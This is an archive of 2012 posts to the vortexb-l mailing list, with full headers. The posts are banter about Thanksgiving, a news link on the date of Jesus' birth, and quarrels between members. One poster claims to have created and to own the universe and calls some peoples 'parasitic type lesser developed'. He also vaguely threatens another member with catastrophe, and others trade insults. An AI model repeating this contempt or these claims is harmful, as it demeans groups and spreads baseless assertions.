<1664.26ee6914.3ddfd8c1@aol.com> <50AE9F3C.9000305@resist.ca> In-Reply-To: <50AE9F3C.9000305@resist.ca> Mime-Version: 1.0 (1.0) Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii Message-Id: <870D87A2-BEDF-4A1C-9D54-1EFECAD79974@gmail.com> Cc: "vortexb-l@eskimo.com" X-Mailer: iPhone Mail (9B179) From: Charles Hope Subject: Re: [VoB]: Thanks(give-in) Day! Date: Thu, 22 Nov 2012 21:21:19 -0500 To: "vortexb-l@eskimo.com" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4630 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 871 With you? Sent from my iPhone On Nov 22, 2012, at 16:55, grok wrote: > > Anyone want to talk about something intelligent here..? > > -- grok. > > From vortexb-l-request@eskimo.com Thu Nov 22 22:38:36 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qAN6cZig004152; Thu, 22 Nov 2012 22:38:35 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qAN6cVNi004141; Thu, 22 Nov 2012 22:38:31 -0800 Resent-Date: Thu, 22 Nov 2012 22:38:31 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:x-mailer:from:subject:date :to; bh=C8UkHhTFnIhmvwRsWbapBzXiu9mUz8K4Bgzh92UeR2w=; b=WKzLrGj+6rEh2Uz+EuE9jVfmBLg2iFjVJziq2pa8aoiCzi4XmQSgqGE4XKpF2zukPs p40190j5KGyPfqDu3LqYyQdRWhRLlOtustFzXt2C/5VDuzD2mBfaMhtdJP8XV6hxqtK5 CeF1VvPDTTMQ0vJJF9VfxTKcn26AGdcjkipZLz9FV+vxu9FUxVkPcq+CDOAkubxSXCJy m58RKEL/v8SJtgvSKuP2bFgaIHo/e+jOsu93mHZ8SbjfoYSqswkhsnHJLkj/txquFk5t b04GHmEu7i2CkcWBmqNInOXO0EjC1Ja6VAq3zOv82wh/uSqIa6lfVWrA+NiFPFWVuace vtXQ== References: <1664.26ee6914.3ddfd8c1@aol.com> <50AE9F3C.9000305@resist.ca> <870D87A2-BEDF-4A1C-9D54-1EFECAD79974@gmail.com> Mime-Version: 1.0 (1.0) In-Reply-To: <870D87A2-BEDF-4A1C-9D54-1EFECAD79974@gmail.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: Cc: "vortexb-l@eskimo.com" X-Mailer: iPhone Mail (10A523) From: Esa Ruoho Subject: Re: [VoB]: Thanks(give-in) Day! Date: Fri, 23 Nov 2012 08:38:22 +0200 To: "vortexb-l@eskimo.com" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4631 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 872 Good morning. Lets talk about Music on Bandcamp. Sent from some iDevice. Written by Esa. On 23 Nov 2012, at 04:21, Charles Hope wrote: > With you? > > Sent from my iPhone > > On Nov 22, 2012, at 16:55, grok wrote: > >> >> Anyone want to talk about something intelligent here..? >> >> -- grok. > From vortexb-l-request@eskimo.com Fri Nov 23 06:41:29 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qANEfSw5017134; Fri, 23 Nov 2012 06:41:28 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qANEfPxK017070; Fri, 23 Nov 2012 06:41:25 -0800 Resent-Date: Fri, 23 Nov 2012 06:41:25 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50AF8AF7.3080004@resist.ca> Date: Fri, 23 Nov 2012 09:40:55 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]: Thanks(give-in) Day! References: <1664.26ee6914.3ddfd8c1@aol.com> <50AE9F3C.9000305@resist.ca> <870D87A2-BEDF-4A1C-9D54-1EFECAD79974@gmail.com> In-Reply-To: <870D87A2-BEDF-4A1C-9D54-1EFECAD79974@gmail.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4632 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 873 On 12/11/22 21:21, Charles Hope wrote: > With you? > > Sent from my iPhone > > On Nov 22, 2012, at 16:55, grok wrote: > >> Anyone want to talk about something intelligent here..? >> >> -- grok. Ooooh! Ooooh! Touché! You got me there! Wanker. -- grok. From vortexb-l-request@eskimo.com Sat Nov 24 09:22:14 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qAOHMCfi028090; Sat, 24 Nov 2012 09:22:12 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qAOHM5ek028074; Sat, 24 Nov 2012 09:22:05 -0800 Resent-Date: Sat, 24 Nov 2012 09:22:05 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=zmPRhK+z+vG7ODCqu73X6FxZona3dnwldIqkduKGwok=; b=LzY0YklQpOzge2q43sUqYBA5aLcVA3a75/2XzOzk9vf6abcn0y4UgxavmsBNh7q/ah O1LzFQGU/7JrqQo/DvZpvjLxkVZJYhKl1e7wI57d8+JPfgFUX4MxyIf2VlxXAIiB/6j7 nGrfWjoUDCQHK0226y3d79d5t0MW4v32c4GsMNizMBMX0waa8v2m7M9lrjjh+PBIZzVq s5R6AnQapsleSE2GU1IEuR7U5bFRs71bUbA5HCt6x7VJMnIJ4EKFmzGPR7ik84OEjmzk PGlg3xIjmRMZuIZJRphqAp0s4UB0o4hYB+MC7xKkngxp6J7UoFnli2Fp6MZBOL+SeXiQ 36nQ== MIME-Version: 1.0 Date: Sat, 24 Nov 2012 12:22:05 -0500 Message-ID: From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4633 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:And We Worried About the Millenium Status: O X-Status: X-Keywords: X-UID: 874 When, indeed, we had it all wrong: http://www.telegraph.co.uk/news/religion/the-pope/9693576/Jesus-was-born-years-earlier-than-thought-claims-Pope.html according to Ratzinger. From vortexb-l-request@eskimo.com Sat Nov 24 17:53:59 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qAP1rw0S007459; Sat, 24 Nov 2012 17:53:58 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qAP1rv7D007450; Sat, 24 Nov 2012 17:53:57 -0800 Resent-Date: Sat, 24 Nov 2012 17:53:57 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50B17A17.6040002@resist.ca> Date: Sat, 24 Nov 2012 20:53:27 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:And We Worried About the Millenium References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4634 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 875 On 12/11/24 12:22, Terry Blanton wrote: > When, indeed, we had it all wrong: > > http://www.telegraph.co.uk/news/religion/the-pope/9693576/Jesus-was-born-years-earlier-than-thought-claims-Pope.html > > according to Ratzinger. Why should we care? We have to replace the religious Western calendar anyway with a secular World one. I've always thought we should go back to the french revolutionary calendar date, myself. -- grok. From vortexb-l-request@eskimo.com Sat Nov 24 20:59:00 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qAP4wwUc008357; Sat, 24 Nov 2012 20:58:59 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qAP4wuwT008343; Sat, 24 Nov 2012 20:58:56 -0800 Resent-Date: Sat, 24 Nov 2012 20:58:56 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=JCMaS5WdSajq3NBy4eqCS+3Loj5O1R3WDlQJjDTz73A=; b=hdqbhEVCLzY5TG0UMmHBBL7afa8Yy3JmT3Qyuh0KX+IojaYnsAV0cjdZQYeUTpgsSl VrvHcoXsQQ9Ndm/gcGMzLXcnJdY1dayGyoVv71nenQBOFHibwFyg8gYAFZJnlp/QwuZ7 XuiDs5mzKiINJYaI7PhZHi/8iVow+RKAROgFz5eEm7fRVnEBgGhH3ctNKvLU2yq4LwUC ypuuHiIpPoDa+1n4hw0OVql40OgpzbaZ0GGstzTxIEUurenm2eTxPc+4Vmvb3ZwcMpTR B6CQazlDt+8c80IkWfbNP8AXs8aZRUhY0XO1jaaYXDX2+vQNfILo7AOY/z/Zo91uGqsE AZyw== MIME-Version: 1.0 In-Reply-To: <50B17A17.6040002@resist.ca> References: <50B17A17.6040002@resist.ca> Date: Sat, 24 Nov 2012 23:58:56 -0500 Message-ID: Subject: Re: [VoB]:And We Worried About the Millenium From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: <52FpZ.A.SCC.QWasQB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4635 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 876 The beginning or the end? So this would be the year 223 or 233? Why did it take a decade to revolve? On Sat, Nov 24, 2012 at 8:53 PM, grok wrote: > On 12/11/24 12:22, Terry Blanton wrote: >> >> When, indeed, we had it all wrong: >> >> >> http://www.telegraph.co.uk/news/religion/the-pope/9693576/Jesus-was-born-years-earlier-than-thought-claims-Pope.html >> >> according to Ratzinger. > > > Why should we care? We have to replace the religious Western calendar anyway > with a secular World one. I've always thought we should go back to the > french revolutionary calendar date, myself. > > -- grok. > > From vortexb-l-request@eskimo.com Sun Nov 25 10:24:08 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qAPIO6DS019519; Sun, 25 Nov 2012 10:24:07 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qAPIO2Nd019494; Sun, 25 Nov 2012 10:24:02 -0800 Resent-Date: Sun, 25 Nov 2012 10:24:02 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50B26221.6050008@resist.ca> Date: Sun, 25 Nov 2012 13:23:29 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:And We Worried About the Millenium References: <50B17A17.6040002@resist.ca> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4636 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 877 On 12/11/24 23:58, Terry Blanton wrote: > The beginning or the end? So this would be the year 223 or 233? > > Why did it take a decade to revolve? > On Sat, Nov 24, 2012 at 8:53 PM, grok wrote: >> On 12/11/24 12:22, Terry Blanton wrote: >>> When, indeed, we had it all wrong: >>> >>> >>> http://www.telegraph.co.uk/news/religion/the-pope/9693576/Jesus-was-born-years-earlier-than-thought-claims-Pope.html >>> >>> according to Ratzinger. >> >> Why should we care? We have to replace the religious Western calendar anyway >> with a secular World one. I've always thought we should go back to the >> french revolutionary calendar date, myself. >> >> -- grok. >> >> > > From vortexb-l-request@eskimo.com Mon Nov 26 09:45:30 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qAQHjSkO000784; Mon, 26 Nov 2012 09:45:29 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qAQHjO3n000775; Mon, 26 Nov 2012 09:45:24 -0800 Resent-Date: Mon, 26 Nov 2012 09:45:24 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: <39457.51f8ab1c.3de504b3@aol.com> Date: Mon, 26 Nov 2012 12:45:23 -0500 (EST) Subject: Re: [VoB]:And We Worried About the Millenium To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: S X-SPAM-FLAG: YES DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20110426; t=1353951924; bh=70BGhRKhtMK3Gw3dXL8fWkCqqUQgkb869Hj1qtrEKYs=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=IIYyRT0x91ItQdkXAqvOgEqSlGUN44uhRUKP/M5fl7ZDSAm9VyCl6kXFPGtQH2y2m ehPjG5R6C6JFFkM60cHM88E1RrloE0dHuXE/CtaCEp0ypO4QRcHr/JQmmnYcnvciqR wNJVh/Jm+3VPb6UTWqVD8P/nvggP3knepBel8Btg= X-AOL-SCOLL-SCORE: 0:2:369451424:93952408 X-AOL-SCOLL-URL_COUNT: 0 X-AOL-REROUTE: YES x-aol-sid: 3039ac1d338950b3aab4076c Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4637 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 878 Yes, I was actually born alot earlier too. In my relatively short life, I managed to learn how to use my mind (only) to travel back in time before the universe existed. I know you think this is just another one of those tall tales, but I'm honestly telling you that I have traveled all of time right back to the very beginning, and, that's why we're here!. Thank you Thank you,,,, and don't worry, because I'm not like all those other "holier than thou" wanabe prophets messiahs & saviors that believed and/or or claimed they had the power of god, and could do all sorts of things for their people, or, All people. Thats just not my style! << When, indeed, we had it all wrong: http://www.telegraph.co.uk/news/religion/the-pope/9693576/Jesus-was-born-years-earlier-than-thought-claims-Pope.html according to Ratzinger. >> From vortexb-l-request@eskimo.com Tue Nov 27 10:21:15 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qARILCWt003207; Tue, 27 Nov 2012 10:21:12 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qARIL7eX003144; Tue, 27 Nov 2012 10:21:07 -0800 Resent-Date: Tue, 27 Nov 2012 10:21:07 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: <3d5c.3d58a342.3de65e93@aol.com> Date: Tue, 27 Nov 2012 13:21:07 -0500 (EST) Subject: Re: [VoB]:And We Worried About the Millenium To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: G DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20110426; t=1354040467; bh=iPwhSIaRMvXQebVrY1T4HEpkVujlngqqjdOFgdWtDuI=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=jM2fc3IP7w+PdWJJtgSdpckuSe0uh1nRPtNp/CogOHPx1y+reypbLvChNV+KpKsQU 5Rw+XyxOrjlepjalplL0p1Iuw8PTSwIfuXkydYbsbLZINz8I1aILzL1VOCHsfk1uBT wZki4k/n3y07USHd0R+wLBqfe5MOVUVSqunb6FDQ= X-AOL-SCOLL-SCORE: 0:2:355835104:93952408 X-AOL-SCOLL-URL_COUNT: 0 x-aol-sid: 3039ac1d33c950b504934a05 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4638 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 879 Yesterday, I was pressed for time and failed to mention that not only did I create the universe, but I own it. Now, I know it might seem a little strange that all of a sudden (out of the blue) I come along and make such a seemingly wild claim, but, all I say to is that all of a sudden-like, it just sort'a came to me.... go figure! So, I'd just like to remind everyone that this Planet which I am currently temporarily inhabiting is also mine. Now, if any of you have a problem with me or the the rather excessive amount of property I claim I own, too bad!. If you don't believe the universe or this planet is mine, then all you need to do to see it for yourself. All you have to do is turn on the TV some time and watch the news/weather. You'll plainly see that whenever a satellite image of the planet is shown, a number of L's & H's are clearly shown. L is for Low, which comes from the name "Lower-in" or Loren. H is for High and comes from the name Higher or Heyer. As for the Universe being mine, you have to consider where "uni" is derived from, which is "Union", and "Verse" is derived from Vs's, as in L vs's H. Now, clearly a sort'a struggle between these two extremes is what enables the law of averages, and essentially, all there is! .... ergo, the universe belongs to Loren Heyer. Thank you! (that explanation might need to be revised or improved as time goes on). Now, my middle initial is F. for Francis,,, and while I have never been to France, I do know it exists, and where. All I can say about the French is that I have some trouble whenever they try to speak Paroquial or American English (like so many people/s in the world). It kind'a sounds like their lips are glued, and/or trying to consume a jar of peanut butter, all at once. I had a problem with the French back when G. W. Bashed (2nd) vowed to teach the phycho fanatic extremist Alquieadaheruhaheayahiah the meaning of life, or was it death (one of those)?. Over the past 11 plus years now, and especially the last 3 or 4, I had been listening much more closely to the news and world events, and it is simply amazing just how many countries harbor a large community of parasitic type lesser developed people's, which have a major influence in what those Countries say & do, and/or denounce the modern civilized world. From vortexb-l-request@eskimo.com Tue Nov 27 10:37:04 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qARIb2cb007644; Tue, 27 Nov 2012 10:37:02 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qARIb0L1007630; Tue, 27 Nov 2012 10:37:00 -0800 Resent-Date: Tue, 27 Nov 2012 10:37:00 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50B50842.90303@resist.ca> Date: Tue, 27 Nov 2012 13:36:50 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:And We Worried About the Millenium References: <3d5c.3d58a342.3de65e93@aol.com> In-Reply-To: <3d5c.3d58a342.3de65e93@aol.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4639 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 880 Who's in charge of this VoB eList again..? -- grok. From vortexb-l-request@eskimo.com Tue Nov 27 11:27:46 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qARJRj7f020325; Tue, 27 Nov 2012 11:27:45 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qARJRfYE020308; Tue, 27 Nov 2012 11:27:41 -0800 Resent-Date: Tue, 27 Nov 2012 11:27:41 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; bh=04ZQfnnCLOYnXpwpEW3NAjcUQN8qDz7Tzr9qur3tfVo=; b=Z7JM8FXyGibHiKcJJkEDDJ9/JRgp9BOXbNj4E9sfvyinGcyLfnuZ/tFtBIUIwJKnmI Awmsea08h7ErwRxiv6+5ar5nAnNVohBPpq3maxWnMvMILtHv3NO6j2Ja82yYqqUUwG9M YrsVCm+wdjTbHE4ExdcqKjzDOmzIQyxwIQqYmehAalphwQZOVJh3GSfoz2wf8EiMh2bI MZxY7aDal0L/5j74QpTjpN0NzBMfuslpBZp6bNshFYQQueG4ZU6NZfMKfb0Z/mVZGiJ9 4A9hDdFDj5m2xBWE3TOD/4pGJxBN9KSqq69wHoPRmG13KCToa/d7WMv1PPdi3lYmFWmV bsEA== MIME-Version: 1.0 In-Reply-To: <3d5c.3d58a342.3de65e93@aol.com> References: <3d5c.3d58a342.3de65e93@aol.com> Date: Tue, 27 Nov 2012 13:27:42 -0600 Message-ID: Subject: Re: [VoB]:And We Worried About the Millenium From: OrionWorks - Steven V Johnson To: vortexb-l@eskimo.com Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4640 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 881 To be honest Loren, I don=E2=80=99t tend to spend much time pondering your = prose. But today I had a spare moment. You are either a gifted satirist whose literary style few can appreciate, or one of the most narcissistic self-indulgent individuals I=E2=80=99ve ever encountered. Spock said it best: =E2=80=9CFascinating.=E2=80=9D Regards Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks From vortexb-l-request@eskimo.com Tue Nov 27 11:57:37 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qARJvag2029349; Tue, 27 Nov 2012 11:57:36 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qARJvZ6e029337; Tue, 27 Nov 2012 11:57:35 -0800 Resent-Date: Tue, 27 Nov 2012 11:57:35 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50B51B2A.9070100@resist.ca> Date: Tue, 27 Nov 2012 14:57:30 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:And We Worried About the Millenium References: <3d5c.3d58a342.3de65e93@aol.com> In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4641 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 882 On 12/11/27 14:27, OrionWorks - Steven V Johnson wrote: > To be honest Loren, I don’t tend to spend much time pondering your prose. > > But today I had a spare moment. > > You are either a gifted satirist whose literary style few can > appreciate, or one of the most narcissistic self-indulgent individuals > I’ve ever encountered. > > Spock said it best: “Fascinating.†> > Regards > Steven Vincent Johnson > www.OrionWorks.com > www.zazzle.com/orionworks I think the word "troll"applies aptly here. -- grok. From vortexb-l-request@eskimo.com Wed Nov 28 09:40:02 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qASHe11b020941; Wed, 28 Nov 2012 09:40:01 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qASHdvvX020748; Wed, 28 Nov 2012 09:39:57 -0800 Resent-Date: Wed, 28 Nov 2012 09:39:57 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: <10483.50d98482.3de7a667@aol.com> Date: Wed, 28 Nov 2012 12:39:51 -0500 (EST) Subject: Re: [VoB]:And We Worried About the Millenium To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: G DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20110426; t=1354124392; bh=JrBVN+7xkotGDbtoNaFEeCT0DHAPXlfxlinUAYbFW+o=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=xXAjDt4J0VElrg/ABz0qx5K6x2tctDEojyy08b+aRJhZbOZWoEYzi8q48gRQiwH4Q y5YAkk+FAAYLUSQfkC9K/jpb9PzOgniFLCJ4PKy0dNNwgXWr+4bDXrYBroL0IOdgix z6bYRk9yaafzLKUTW8/BAWiwiv7UCI7ClH9QAPrw= X-AOL-SCOLL-SCORE: 0:2:390420448:93952408 X-AOL-SCOLL-URL_COUNT: 0 x-aol-sid: 3039ac1d33c950b64c682bb8 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4642 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 883 What matters really is what an absolute crock'a grok that makes up most all of your somewhat miserable being. Like so many of your kind that tend to have invaded my planet, your only desire or ill intention is to controlland/or absolutely BS everyone. If you had your way, there would be no actual civilized human beings with the power of thought (and then speech is next), and it's because you are completely incapable of it and/or wouldn't recognize it, if your life depended on it. Now Grok, so you know, as it just so happens, I am actually finished making with making anymore comments here. Lucky for you, I have to commit 100% of my time to securing a more rewarding future,,, which very unlikely, hopefully, and/or w/ gods help, doesn't include you. Before I go however, I just want you to know that you have finally pushed me over the edge,,, and so, I am forced to have my planet wreak havoc upon your world. Soon, you & everyone like you that has invaded my world will be sent a rather frightening message, that you simply can't refuse. If you have any complaints, forward them to the highly advanced beings aboard ufo's currently operating up in space,,, as they are in 'charge' of my planet. Soon and/or in the very near future, after having received the message (via a form of perfectly natural destructive and/or catastropic events,,, of which, you are rightfully entitled to) should feel that you have been singled-out?..... good! << Who's in charge of this VoB eList again..? -- grok. >> From vortexb-l-request@eskimo.com Wed Nov 28 09:54:25 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qASHsOfJ018947; Wed, 28 Nov 2012 09:54:24 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qASHsNvl018938; Wed, 28 Nov 2012 09:54:23 -0800 Resent-Date: Wed, 28 Nov 2012 09:54:23 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; 